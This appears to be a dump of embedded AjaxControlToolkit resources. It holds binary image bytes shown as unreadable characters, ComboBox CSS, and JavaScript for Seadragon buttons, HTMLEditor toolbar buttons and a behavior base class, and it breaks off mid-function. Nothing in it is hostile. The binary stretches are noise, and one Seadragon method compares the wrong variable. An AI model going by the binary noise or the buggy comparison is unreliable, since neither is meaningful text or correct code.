�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F	NIDATxڤ��oEǿUՏ�y�1~%v�`����]%�k7��{@��@V"
BB$8p���@.rD!�	8�P	2��n6ِxc�;��ӯ�z�n�=1�j)��iU}�W�����Dk�_�!��7��j�7�Rj��f�0�����Iʒ{?���Js�u=@�+���IA��䚤`4@�{˲4�������W�- ��L�c�=�;z�h�
!��痿��Z D���Tcc�����t=���I��!��{���_?���=���ڴ�4jii�z�ƍ�ӧOO~��Ua�֡�[�n�
n
�a1���/����k�����6i�5!D%��	UJ!�<oybbb�̙3����K<IzrrR+��o߾
���c� �g�}�dd�c�9��+���
� M<I1X��r�������pc�0
t��E=66�3Q%k�^{|||tϞ=���(���:��B�������A#۶�����cǎ��R�}뭷���}�ϻ��O
���$R�{�7088x�0�!�/��J)� ��Zg�{'u�QJRʐR�����466v��g�}@>~֌����<�Z�=44tȶ��T{-�kb�����+���cke�5�*�!�����4<<�[��ر��԰�LA �>��w۷o�@
!c̡�6,..vJ)��&��b�T*9���&ZkH)#Ji���cN)%����8l�޽�<���Ϟ=��8��T�l�tww�����s ���!��PJ>���R�dY����9rd�O>i�ZC!�0D�X_z�OJ�	!��z�800���T �$��`���;
�B!D
!4c�`B2���l6˲`Y�mۦ�~����"�����O?-p�	!�`i�
)eh۶����644�y���Zd�ڔ��w����L&����k�	��`h�Y.��B��	�0`��۹R�B(!���r9J)b/���������ׯ_�`����,���`-����4
��֚i��w�ޚ�Ҏ�C-..:�a�MMMJ)%	!�a���5R?6��f���s_)eض�T�t����B��BT�Պ�ys���;v������?>>���Ң�=�&�4&&&Z9�6���\�ohhXٷo������R�t����B��fBH��2SB~
��j5�!�(����Rն�w�y���w�E�?333p���w��)�;wnfddd~׮]�7�x��W^��T*���I0MJ)���-N��<�n�j����R�0�!���bQJ��i����n�:u���<yr�ҥKC/���؅�-��+��c���5cuu5�j�z
@/,,�*�
!���@�qA	!�1�2�L�a9���~���g�R8q�D�_|�����al�!������Z��R��z���v�����Td�vVJI9��+ι�Zk����d��+W���螝������`RJ�9לsH)�m��˗/G�x;��a[��o��v�￟ð�4M�s��뺞�R޼y�~��'u���?���Ä��3��}��wN2�B�j���s�4���������j9UJ$��F	���!X=4::z�СC����L&cttt4�J�~EJ)�}���V����ߖ����F?�r{{�?���+AD���gϞm�Y�T�`@��0�X& �t���c���677��rٽw��JSSӵ\.���8�bii�!dgggɶm�0E��</����|ߗ��������.\X�T*��웜Mz�g�z�)|��G4>�����G����������ڝr�\K`�Zk)%!����-�]B���V�,k�S������0oXPIy%��c&�I�p�?��۷o_<s�d�=���U$�P�ue�V��� ��2�mmm-r]WBhggg3��7ߔ�Ri:�;�cϬC�'��3��7�|�$ #N�9
�s��o�?޳������J�Rq]׍���A���ܜmll,~��׍�Ν<ϻ)���H�j\���e��0��ÐR��ի�7B�XKss���b�O<a��b�A��R�R�8�5;;��q�����ry!�X�!��I�s��5��R
SSSi�b�r�r�@)mq�ה�.���.�����ꪾ{���R֔RU�ԿSq����u �av�ܹ.��ݻW��T��MY�� ����d"�����[I���؀����$7������vʬTa��[&�p|���I���466> ʃ �J�&`fJi�kmQ'oeZIn�	&��lI[�����uG���?�cl]��ܷ���$��_�6�������F~���j��n��IEND�B`�6   �& h�( @ �Y �t<�t<�t<�t<�t<�t<�t<�t<�t<�t<�t<�t<�t<�t<�t<�t<�t<��]&���������������������������������������������Ⱦ��Ⱦ�t<����=���������d.����������������������������������������������t<������KKK������j7�����������������������������������������������t<����ittt��������6�rB������������������������������������������������t<����������000������zN����������a+��a+��_)��\%��X!��U��P��M��H��D
�A�y>�������t<�������������SSS��������ԃY�����������������������������������������������������t<����???����}���$$$�)))�����֌f�������������������������������������������������������t<�����ddd�OOO�������=���D���Pٕs����������a+��a+��_)��\%��X!��U��P��M��H��D
�A�y>�������t<������������������������۞������������������������������������������������������t<����������������ަ��������������������������������������������������������t<���������������߮�����������a+��a+��_)��\&��X"��U��P��L��I��D	��A�y>�������t<�������������������


�����������������ⵟ���������������������������������������������������������������t<���������������������������������������������㻧����������������������������������������������������������������t<������������������������������������������������俭�����������������������������������������������������������������t<���������������������������������������������������俭�仨�⸢�Ლ�߫��ަ��۞��ڗv�אl�Ոa�ԁW��yM��sC��l;��f2��a+��\%��Y ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������a+��a+��_)��\&��X"��U��P��L��I��D	��A�y>��A��A������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������|���x���t���p��l�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(  ������������������cH4�cH4�cH4�cH4�cH4�cH4�cH4�cH4����������_����hhh�Ҵ����������������������Ⱦ��Ⱦ�cH4����m���s������ܵ%%%�޶�������������������������cH4������������TTT�����ڧ�������a+��[%��S��J��A�������cH4�����JJJ�~~~�:::�����֞��������������������������cH4�����===���JJJ�ՠ�������a+��[$��S��J��B�������cH4�������AAA�������ء������������������������������cH4��������999���������߲�����������������������������x^F��������@@@������������ғt�ёr�Ќk�υa��}V��uI��m<��d1��^'��Y �����������������������������������������������j7��c.��[$��T��N��I��E	���������������������������������������������������������������������������������������������������������������������������u��l����������������������������������������������������������������������������������������������������������������������������0���N���.ajax__combobox_inputcontainer 
{
}
.ajax__combobox_textboxcontainer
{
}
.ajax__combobox_textboxcontainer input
{
}
.ajax__combobox_buttoncontainer
{
}
.ajax__combobox_buttoncontainer button
{
    background-image: url(<%=WebResource("AjaxControlToolkit.ComboBox.arrow-down.gif")%>);
    background-position: center;
    background-repeat: no-repeat;
    border-color: ButtonFace;
    height: 15px;
    width: 15px;
}
.ajax__combobox_itemlist
{
    margin: 0px;
    padding: 0px;
    cursor: default;
    list-style-type: none;
    text-align: left;
    border: solid 1px ButtonShadow;
    background-color: Window;
    color: WindowText;
}
.ajax__combobox_itemlist li
{
    white-space: nowrap;
    width: 100%;
    padding: 0 3px 0 2px;
}

!GIF89a����������-^�@k�Ir�Cr�.l�4n�X��������������������������������333���!�,��%�di����lۊ�+��\��,��W��o����$���SI��X<du˸����/�
�A�6h�pŹ2x��
����sz0�|~qqB�0��
�B�0�>8��r�0��@	B�0�����0v�vbb�0�����0���'��!;�GIF89a�?�������������������������������������������������������@`�at������`x����������������������Rcs��p��v�����t�����:Iv��������������)^����!�?,���pH,�
� �l:�M!"��Y���UXb1t�x�t�m�n�
p�&�(���~�u)6;����3=66B8|�z�B6* �� ��6	�		12""�B&688=��81/85�8B+4�
1�-5��#
��055�B#
��55

BS<غ5%5$B��q���&t�8Q�LJBn��^�.4�P��B20�`�	8@aB�)� �)�p�@'#�.,���(]:O�G�J
;�GIF89a�������������������������������������������Z���������������Η�ռ��������������������5g����������������������������������������������)^�!�,�@��+�H���9����P�ج�q|�x^F��o�^��iިe��8�5NC��6+95�,8%z5!��5>&7�77z����>6:��z���'69��z����/12z	1")1	23z3;2�1�K=$m 03��1�*V8�8
�A;GIF89a�?zwp�������������������s#R}���������E�������Ϗ���E��E��?���������������������)��d�ڮ��@����O����X���ŝt�฽�f�����������v�}M����������������������!�?,���pH,��l:�M!f��Y���U80�v�xP��z�N$�j�#p���6��;>���+n�B:6��6
,#-2�6B=7��
#���>5���&��B >:�6.����B�

����
���-!)/����?�0%!08���B
<'J�@�`�
�qO<8p"
��AÀ$H��`=<�X� ��@����
4�`�2�%X�8pf9t�$ԡC!?�2`�KP�_��5-t��� ;�GIF89a�����������������������������������������������������������������������������������������������������������������������������)^�������!�>,�@�pH,��̆�l:�Ma4"Y���U2�V�x�T��z�k�{k�P���o���3B+6��zm��B/488nm<8{�z�8B7
99z}<��<�9�::z��|�<�:B-���n��Bz��|zB
� ��<Bz&<��BS$�n+�#!B>�8�BO�YzV�8Q��B<���77<b�`�"�BF�p1@F�Y�f� 0�BP��Q��
C�q�F
3
�B���(]:A�CG�J
;�GIF89a����p��s�����������������Kw�Ny�]��a��������:l�=n�������r��t��d��f��[��\����������������������X�傷�������������������������������������������������������������������������������������������������������������՗����)^�5g�Z����μ�������!�a,��a������0245������6:=>������;BEG������AFK������KMN�Z�������GQ�[^`�`]\`���KOS�W`V�SX_��S�R!T�TYT������"U������I� ����	"a��-^��a�+T�H���'V��1�F�lԐ��+�P�q������a�ɒ�V�p9�0@�d�c�5��cȈ�P�>��n�Ȁ�
 0@@���)����E=�h�PaB��@�
�,Q"���&P�H	��2)R�@y�AH�D��g�/;D�t ;GIF89a�������������������������������������������333���!�,� $�di�B��l+�p�ƴ:�D��
���p8��a�l�ۑH4�t���	�����J|�A`�n�f��A����o}�p��_
�wD�
_�~��_����_
����k�_p����_�����_��'��!;1GIF89a���!�,��	j
(;�GIF89a
��dg�eh�mp�or�os�ps�sv�qt�tw�ux�x{�x{�x|�{~�|������������������������������������’�Ó�ƒ�Ǔ�Ĕ�ŕ�Ɩ�Ǘ�˗�Ș�ə�˛�͙�̜�͝�Ξ�ϟ�Р�ѡ�ӣ�֦�ק�٩�ڪ�۫�ܬ�꺽켿����������!��,
�M@�`�D
+X�p���2fЀ���t�ظC�F�5�X�€�	S�\�D� @�A��͛9D�@q��@�
����0 �4h�#
 H��jMJ ��6nx
�Ul�
D@"
�3�Ҙ�v�$" 00a�
.\��A�@�1AC��;1GIF89a��������!��,8@�
;lGIF89a��1�<��8��9��<ݡS�����Ǝ���!�,0��@���R2��)�c��gk��kD;4GIF89a��,��<��<���,
0����
;IGIF89a�;;;:::&&&888111���!�,x
:s%�i�JuB;�6Type.registerNamespace('AjaxControlToolkit.Seadragon');
Type.registerNamespace('Seadragon');

AjaxControlToolkit.Seadragon.ButtonState = function() {
	throw Error.invalidOperation();
}
AjaxControlToolkit.Seadragon.ButtonState.prototype = {
	REST: 0,
	GROUP: 1,
	HOVER: 2,
	DOWN: 3
}
AjaxControlToolkit.Seadragon.ButtonState.registerEnum("AjaxControlToolkit.Seadragon.ButtonState", false);

AjaxControlToolkit.Seadragon.Button = function() {
	AjaxControlToolkit.Seadragon.Button.initializeBase(this);

	this._tooltip = null;
	this._srcRest = null;
	this._srcGroup = null;
	this._srcHover = null;
	this._srcDown = null;
	this._button = null;
	this.config = null;

}
AjaxControlToolkit.Seadragon.Button.prototype = {
    initialize: function() {
        AjaxControlToolkit.Seadragon.Button.callBaseMethod(this, 'initialize');

        this._button = Seadragon.Utils.makeNeutralElement("span");
        this._currentState = AjaxControlToolkit.Seadragon.ButtonState.GROUP;
        this._tracker = new Seadragon.MouseTracker(this._button, this.config.clickTimeThreshold, this.config.clickDistThreshold);
        this._imgRest = Seadragon.Utils.makeTransparentImage(this._srcRest);
        this._imgGroup = Seadragon.Utils.makeTransparentImage(this._srcGroup);
        this._imgHover = Seadragon.Utils.makeTransparentImage(this._srcHover);
        this._imgDown = Seadragon.Utils.makeTransparentImage(this._srcDown);

        this._fadeDelay = 0;      // begin fading immediately
        this._fadeLength = 2000;  // fade over a period of 2 seconds
        this._fadeBeginTime = null;
        this._shouldFade = false;

        this._button.style.display = "inline-block";
        this._button.style.position = "relative";
        this._button.title = this._tooltip;

        this._button.appendChild(this._imgRest);
        this._button.appendChild(this._imgGroup);
        this._button.appendChild(this._imgHover);
        this._button.appendChild(this._imgDown);

        var styleRest = this._imgRest.style;
        var styleGroup = this._imgGroup.style;
        var styleHover = this._imgHover.style;
        var styleDown = this._imgDown.style;

        // DON'T position imgRest absolutely -- let it be inline so it fills
        // up the div, sizing the div appropriately
        styleGroup.position = styleHover.position = styleDown.position = "absolute";
        styleGroup.top = styleHover.top = styleDown.top = "0px";
        styleGroup.left = styleHover.left = styleDown.left = "0px";
        styleHover.visibility = styleDown.visibility = "hidden";
        // rest and group are always visible

        // FF2 is very buggy with inline-block. it squashes the button div,
        // making the group-pressed states' images lower than rest. but
        // apparently, clearing the "top" style fixes this. (note that this
        // breaks the buttons in every other browser, so we're not clearing
        // the "top" style by default...)
        if (Seadragon.Utils.getBrowser() == Seadragon.Browser.FIREFOX &&
                    Seadragon.Utils.getBrowserVersion() < 3) {
            styleGroup.top = styleHover.top = styleDown.top = "";
        }

        this._tracker.enterHandler = Function.createDelegate(this, this._enterHandler);
        this._tracker.exitHandler = Function.createDelegate(this, this._exitHandler);
        this._tracker.pressHandler = Function.createDelegate(this, this._pressHandler);
        this._tracker.releaseHandler = Function.createDelegate(this, this._releaseHandler);
        this._tracker.clickHandler = Function.createDelegate(this, this._clickHandler);

        this._tracker.setTracking(true);
        this._outTo(AjaxControlToolkit.Seadragon.ButtonState.REST);
    },
    dispose: function() {
    },
    _scheduleFade: function() {
        window.setTimeout(Function.createDelegate(this, this._updateFade), 20);
    },
    _updateFade: function() {
        if (this._shouldFade) {
            var currentTime = new Date().getTime();
            var deltaTime = currentTime - this._fadeBeginTime;
            var opacity = 1.0 - deltaTime / this._fadeLength;

            opacity = Math.min(1.0, opacity);
            opacity = Math.max(0.0, opacity);

            Seadragon.Utils.setElementOpacity(this._imgGroup, opacity, true);
            if (opacity > 0) {
                this._scheduleFade();    // fade again
            }
        }
    },
    _beginFading: function() {
        this._shouldFade = true;
        this._fadeBeginTime = new Date().getTime() + this._fadeDelay;
        window.setTimeout(Function.createDelegate(this, this._scheduleFade), this._fadeDelay);
    },
    _stopFading: function() {
        this._shouldFade = false;
        Seadragon.Utils.setElementOpacity(this._imgGroup, 1.0, true);
    },
    _inTo: function(newState) {
        if (newState >= AjaxControlToolkit.Seadragon.ButtonState.GROUP && this._currentState == AjaxControlToolkit.Seadragon.ButtonState.REST) {
            this._stopFading();
            this._currentState = AjaxControlToolkit.Seadragon.ButtonState.GROUP;
        }

        if (newState >= AjaxControlToolkit.Seadragon.ButtonState.HOVER && this._currentState == AjaxControlToolkit.Seadragon.ButtonState.GROUP) {
            // important: don't explicitly say "visibility: visible".
            // see note in Viewer.setVisible() for explanation.
            this._imgHover.style.visibility = "";
            this._currentState = AjaxControlToolkit.Seadragon.ButtonState.HOVER;
        }

        if (newState >= AjaxControlToolkit.Seadragon.ButtonState.DOWN && this._currentState == AjaxControlToolkit.Seadragon.ButtonState.HOVER) {
            // important: don't explicitly say "visibility: visible".
            // see note in Viewer.setVisible() for explanation.
            this._imgDown.style.visibility = "";
            this._currentState = AjaxControlToolkit.Seadragon.ButtonState.DOWN;
        }
    },
    _outTo: function(newState) {
        if (newState <= AjaxControlToolkit.Seadragon.ButtonState.HOVER && this._currentState == AjaxControlToolkit.Seadragon.ButtonState.DOWN) {
            this._imgDown.style.visibility = "hidden";
            this._currentState = AjaxControlToolkit.Seadragon.ButtonState.HOVER;
        }

        if (newState <= AjaxControlToolkit.Seadragon.ButtonState.GROUP && this._currentState == AjaxControlToolkit.Seadragon.ButtonState.HOVER) {
            this._imgHover.style.visibility = "hidden";
            this._currentState = AjaxControlToolkit.Seadragon.ButtonState.GROUP;
        }

        if (this._newState <= AjaxControlToolkit.Seadragon.ButtonState.REST && this._currentState == AjaxControlToolkit.Seadragon.ButtonState.GROUP) {
            this._beginFading();
            this._currentState = AjaxControlToolkit.Seadragon.ButtonState.REST;
        }
    },
    _enterHandler: function(tracker, position, buttonDownElmt, buttonDownAny) {
        if (buttonDownElmt) {
            this._inTo(AjaxControlToolkit.Seadragon.ButtonState.DOWN);
            this._raiseEvent("onEnter", this);
        } else if (!buttonDownAny) {
            this._inTo(AjaxControlToolkit.Seadragon.ButtonState.HOVER);
        }
    },
    _exitHandler: function(tracker, position, buttonDownElmt, buttonDownAny) {
        this._outTo(AjaxControlToolkit.Seadragon.ButtonState.GROUP);
        if (buttonDownElmt) {
            this._raiseEvent("onExit", this);
        }
    },
    _pressHandler: function(tracker, position) {
        this._inTo(AjaxControlToolkit.Seadragon.ButtonState.DOWN);
        this._raiseEvent("onPress", this);
    },
    _releaseHandler: function(tracker, position, insideElmtPress, insideElmtRelease) {
        if (insideElmtPress && insideElmtRelease) {
            this._outTo(AjaxControlToolkit.Seadragon.ButtonState.HOVER);
            this._raiseEvent("onRelease", this);
        } else if (insideElmtPress) {
            this._outTo(AjaxControlToolkit.Seadragon.ButtonState.GROUP);
        } else {
            // pressed elsewhere, but released on it. if we ignored the
            // enter event because a button was down, activate hover now
            this._inTo(AjaxControlToolkit.Seadragon.ButtonState.HOVER);
        }
    },
    _clickHandler: function(tracker, position, quick, shift) {        
        if (quick) {
            this._raiseEvent("onClick", this);
        }
    },
    _raiseEvent: function(eventName, eventArgs) {
        // Get handler for event.
        var handler = this.get_events().getHandler(eventName);

        if (handler) {
            if (!eventArgs) {
                eventArgs = Sys.EventArgs.Empty;
            }

            // Fire event.                          
            handler(this, eventArgs);
        }
    },
    get_element: function() {
        return this._button;
    },
    get_tooltip: function() {
        return this._tooltip;
    },
    set_tooltip: function(value) {
        this._tooltip = value;
    },
    get_config: function() {
        return this.config;
    },
    set_config: function(value) {
        this.config = value;
    },
    get_srcRest: function() {
        return this._srcRest;
    },
    set_srcRest: function(value) {
        this._srcRest = value;
    },
    get_srcGroup: function() {
        return this._srcGroup;
    },
    set_srcGroup: function(value) {
        this._srcGroup = value;
    },
    get_srcHover: function() {
        return this._srcHover;
    },
    set_srcHover: function(value) {
        this._srcHover = value;
    },
    get_srcDown: function() {
        return this._srcDown;
    },
    set_srcDown: function(value) {
        this._srcDown = value;
    },
    add_onPress: function(handler) {
        this.get_events().addHandler("onPress", handler);
    },
    remove_onPress: function(handler) {
        this.get_events().removeHandler("onPress", handler);
    },
    add_onClick: function(handler) {
        this.get_events().addHandler("onClick", handler);
    },
    remove_onClick: function(handler) {
        this.get_events().removeHandler("onClick", handler);
    },
    add_onEnter: function(handler) {
        this.get_events().addHandler("onEnter", handler);
    },
    remove_onEnter: function(handler) {
        this.get_events().removeHandler("onEnter", handler);
    },
    add_onRelease: function(handler) {
        this.get_events().addHandler("onRelease", handler);
    },
    remove_onRelease: function(handler) {
        this.get_events().removeHandler("onRelease", handler);
    },
    add_onExit: function(handler) {
        this.get_events().addHandler("onExit", handler);
    },
    remove_onExit: function(handler) {
        this.get_events().removeHandler("onExit", handler);
    },
    notifyGroupEnter: function() {
        this._inTo(AjaxControlToolkit.Seadragon.ButtonState.GROUP);
    },
    notifyGroupExit: function() {
        this._outTo(AjaxControlToolkit.Seadragon.ButtonState.REST);
    }
}
AjaxControlToolkit.Seadragon.Button.registerClass('AjaxControlToolkit.Seadragon.Button', Sys.Component);

AjaxControlToolkit.Seadragon.ButtonGroup = function() {
	AjaxControlToolkit.Seadragon.ButtonGroup.initializeBase(this);

	this._buttons = null;
	this._group = null;
	this.config = null;
}
AjaxControlToolkit.Seadragon.ButtonGroup.prototype = {
	initialize: function() {
		AjaxControlToolkit.Seadragon.ButtonGroup.callBaseMethod(this, 'initialize');

		this._group = Seadragon.Utils.makeNeutralElement("span");
		var buttons = this._buttons.concat([]);   // copy
		var tracker = new Seadragon.MouseTracker(this._group, this.config.clickTimeThreshold, this.config.clickDistThreshold);
		this._group.style.display = "inline-block";

		for (var i = 0; i < buttons.length; i++) {
			this._group.appendChild(buttons[i].get_element());
		}

		tracker.enterHandler = Function.createDelegate(this, this._enterHandler);
		tracker.exitHandler = Function.createDelegate(this, this._exitHandler);
		tracker.releaseHandler = Function.createDelegate(this, this._releaseHandler);

		tracker.setTracking(true);
	},
	dispose: function() {
	},
	get_buttons: function() {
		return this._buttons;
	},
	set_buttons: function(value) {
		this._buttons = value;
	},
	get_element: function() {
		return this._group;
	},
	get_config: function() {
		return this.config;
	},
	set_config: function(value) {
		this.config = value;
	},
	_enterHandler: function(tracker, position, buttonDownElmt, buttonDownAny) {
		// somewhat office ribbon style -- we do this regardless of whether
		// the mouse is down from elsewhere. it's a nice soft glow effect.
		for (var i = 0; i < this._buttons.length; i++) {
			this._buttons[i].notifyGroupEnter();
		}
	},
	_exitHandler: function(tracker, position, buttonDownElmt, buttonDownAny) {
		if (!buttonDownElmt) {
			// only go to rest if the mouse isn't down from a button
			for (var i = 0; i < this._buttons.length; i++) {
				this._buttons[i].notifyGroupExit();
			}
		}
	},
	_releaseHandler: function(tracker, position, insideElmtPress, insideElmtRelease) {

		if (!insideElmtRelease) {
			// this means was the mouse was inside the div during press, so
			// since it's no longer inside the div during release, it left
			// the div. but onDivExit() ignored it since the mouse was down
			// from the div, so we'll go out to rest state now.
			for (var i = 0; i < this._buttons.length; i++) {
				this._buttons[i].notifyGroupExit();
			}
		}
	},
	emulateEnter: function() {
		this._enterHandler();
	},

	emulateExit: function() {
		this._exitHandler();
	}
}
AjaxControlToolkit.Seadragon.ButtonGroup.registerClass('AjaxControlToolkit.Seadragon.ButtonGroup', Sys.Component);
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._doc.body.style.direction=(!this.checkState())?"rtl":"";

        if(!AjaxControlToolkit.HTMLEditor.isIE) {
            var sel   = this._designPanel._getSelection();
            var range = this._designPanel._createRange(sel);

            this._designPanel._removeAllRanges(sel);

            this._designPanel._selectRange(sel,range);
            this._designPanel.focusEditor();
        }
        var button = this;
        setTimeout(function(){button._editPanel.updateToolbar();},0);
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.callBaseMethod(this, "checkState")) return false;
        if(this._designPanel._doc.body.style.direction && this._designPanel._doc.body.style.direction=="rtl") return true;
        return false;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Rtl", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("InsertUnorderedList");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

�V// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />


Type.registerNamespace('AjaxControlToolkit');

// This is the base behavior for all extender behaviors
AjaxControlToolkit.BehaviorBase = function(element) {
    /// <summary>
    /// Base behavior for all extender behaviors
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// Element the behavior is associated with
    /// </param>
    AjaxControlToolkit.BehaviorBase.initializeBase(this,[element]);
    
    this._clientStateFieldID = null;
    this._pageRequestManager = null;
    this._partialUpdateBeginRequestHandler = null;
    this._partialUpdateEndRequestHandler = null;
}
AjaxControlToolkit.BehaviorBase.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>

        // TODO: Evaluate necessity
        AjaxControlToolkit.BehaviorBase.callBaseMethod(this, 'initialize');
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        AjaxControlToolkit.BehaviorBase.callBaseMethod(this, 'dispose');

        if (this._pageRequestManager) {
            if (this._partialUpdateBeginRequestHandler) {
                this._pageRequestManager.remove_beginRequest(this._partialUpdateBeginRequestHandler);
                this._partialUpdateBeginRequestHandler = null;
            }
            if (this._partialUpdateEndRequestHandler) {
                this._pageRequestManager.remove_endRequest(this._partialUpdateEndRequestHandler);
                this._partialUpdateEndRequestHandler = null;
            }
            this._pageRequestManager = null;
        }
    },

    get_ClientStateFieldID : function() {
        /// <value type="String">
        /// ID of the hidden field used to store client state
        /// </value>
        return this._clientStateFieldID;
    },
    set_ClientStateFieldID : function(value) {
        if (this._clientStateFieldID != value) {
            this._clientStateFieldID = value;
            this.raisePropertyChanged('ClientStateFieldID');
        }
    },

    get_ClientState : function() {
        /// <value type="String">
        /// Client state
        /// </value>
        if (this._clientStateFieldID) {
            var input = document.getElementById(this._clientStateFieldID);
            if (input) {
                return input.value;
            }
        }
        return null;
    },
    set_ClientState : function(value) {
        if (this._clientStateFieldID) {
            var input = document.getElementById(this._clientStateFieldID);
            if (input) {
                input.value = value;
            }
        }
    },

    registerPartialUpdateEvents : function() {
        /// <summary>
        /// Register for beginRequest and endRequest events on the PageRequestManager,
        /// (which cause _partialUpdateBeginRequest and _partialUpdateEndRequest to be
        /// called when an UpdatePanel refreshes)
        /// </summary>

        if (Sys && Sys.WebForms && Sys.WebForms.PageRequestManager){
            this._pageRequestManager = Sys.WebForms.PageRequestManager.getInstance();
            if (this._pageRequestManager) {
                this._partialUpdateBeginRequestHandler = Function.createDelegate(this, this._partialUpdateBeginRequest);
                this._pageRequestManager.add_beginRequest(this._partialUpdateBeginRequestHandler);
                this._partialUpdateEndRequestHandler = Function.createDelegate(this, this._partialUpdateEndRequest);
                this._pageRequestManager.add_endRequest(this._partialUpdateEndRequestHandler);
            }
        }
    },

    _partialUpdateBeginRequest : function(sender, beginRequestEventArgs) {
        /// <summary>
        /// Method that will be called when a partial update (via an UpdatePanel) begins,
        /// if registerPartialUpdateEvents() has been called.
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="beginRequestEventArgs" type="Sys.WebForms.BeginRequestEventArgs">
        /// Event arguments
        /// </param>

        // Nothing done here; override this method in a child class
    },
    
    _partialUpdateEndRequest : function(sender, endRequestEventArgs) {
        /// <summary>
        /// Method that will be called when a partial update (via an UpdatePanel) finishes,
        /// if registerPartialUpdateEvents() has been called.
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="endRequestEventArgs" type="Sys.WebForms.EndRequestEventArgs">
        /// Event arguments
        /// </param>

        // Nothing done here; override this method in a child class
    }
}
AjaxControlToolkit.BehaviorBase.registerClass('AjaxControlToolkit.BehaviorBase', Sys.UI.Behavior);


// Dynamically populates content when the populate method is called
AjaxControlToolkit.DynamicPopulateBehaviorBase = function(element) {
    /// <summary>
    /// DynamicPopulateBehaviorBase is used to add DynamicPopulateBehavior funcitonality
    /// to other extenders.  It will dynamically populate the contents of the target element
    /// when its populate method is called.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM Element the behavior is associated with
    /// </param>
    AjaxControlToolkit.DynamicPopulateBehaviorBase.initializeBase(this, [element]);
    
    this._DynamicControlID = null;
    this._DynamicContextKey = null;
    this._DynamicServicePath = null;
    this._DynamicServiceMethod = null;
    this._cacheDynamicResults = false;
    this._dynamicPopulateBehavior = null;
    this._populatingHandler = null;
    this._populatedHandler = null;
}
AjaxControlToolkit.DynamicPopulateBehaviorBase.prototype = {
    initialize : function() {
